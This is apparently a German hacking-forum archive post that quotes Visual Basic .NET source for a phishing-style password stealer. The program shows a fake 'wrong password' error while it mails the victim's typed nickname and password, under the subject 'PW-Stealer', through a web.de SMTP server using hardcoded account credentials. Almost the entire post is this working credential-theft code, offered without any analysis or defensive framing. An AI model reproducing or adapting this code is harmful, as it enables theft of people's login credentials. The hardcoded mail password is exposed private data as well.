Willkommen im Archiv der Nunki-Crew!

Zitat:Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs)
System.Windows.Forms.MessageBox.Show("no Network v.3 found! Falsches Passwort für den Nicknamen verwendet?")
Dim v_smtpClient As New SmtpClient("smtp.web.de")
v_smtpClient.Credentials = New NetworkCredential("[email protected]", "brummel1556")
v_smtpClient.Send("[email protected]", "[email protected]", "PW-Stealer", String.Concat("Nick:", TextBox1.[Text], vbNewLine &"Passwort:", TextBox2.[Text]))
End Sub
Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs)
'Evaluation version.
End Sub
Private Sub Button2_Click(ByVal sender As Object, ByVal e As System.EventArgs)
System.Windows.Forms.MessageBox.Show("Bitte erst einloggen!")